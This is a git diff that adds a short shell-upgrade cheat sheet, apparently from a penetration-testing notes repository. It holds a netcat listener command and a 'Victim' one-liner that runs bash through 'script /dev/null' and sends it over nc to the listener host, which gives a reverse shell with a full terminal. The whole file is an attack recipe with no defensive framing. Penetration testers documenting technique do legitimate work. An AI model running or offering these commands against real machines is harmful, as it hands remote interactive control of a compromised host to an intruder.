diff --git a/Upgrade-Shells/using-script.sh b/Upgrade-Shells/using-script.sh
new file mode 100644
index 0000000..b705c5c
--- /dev/null
+++ b/Upgrade-Shells/using-script.sh
@@ -0,0 +1,5 @@
+# Listener
+stty -echo raw ; nc -lp 1337; stty sane
+
+# Victim
+nc -c '/bin/bash -c "script /dev/null"' listener 1337